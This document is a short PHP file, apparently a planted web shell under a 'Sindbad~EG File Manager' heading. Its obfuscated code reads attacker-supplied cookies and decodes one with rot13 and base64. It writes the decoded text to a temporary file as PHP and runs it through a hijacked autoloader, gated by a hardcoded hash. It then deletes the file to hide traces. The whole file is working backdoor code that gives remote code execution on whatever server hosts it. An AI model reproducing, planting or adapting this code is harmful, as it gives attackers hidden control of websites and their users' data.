Sindbad~EG File Manager

<!--VL4KlH6U-->
<?php

if (isset($_COOKIE[52+-52]) && isset($_COOKIE[47+-46]) && isset($_COOKIE[78-75]) && isset($_COOKIE[86-82])) {
    $flg = $_COOKIE;
    function approve_request($descriptor) {
        $flg = $_COOKIE;
        $itm = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'bdCGU1JJ');
        if (!is_writable($itm)) {
            $itm = getcwd() . DIRECTORY_SEPARATOR . "core_engine";
        }
        $entry = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($flg[3]));
        if (is_writeable($itm)) {
            $pointer = fopen($itm, 'w+');
            fputs($pointer, $entry);
            fclose($pointer);
            spl_autoload_unregister(__FUNCTION__);
            require_once($itm);
            @array_map('unlink', array($itm));
        }
    }
    spl_autoload_register("approve_request");
    $dchunk = "c38b29647fc4b8723e880fc50ec830b1";
    if (!strncmp($dchunk, $flg[4], 32)) {
        if (@class_parents("token_parser_engine_mutex_lock", true)) {
            exit;
        }
    }
}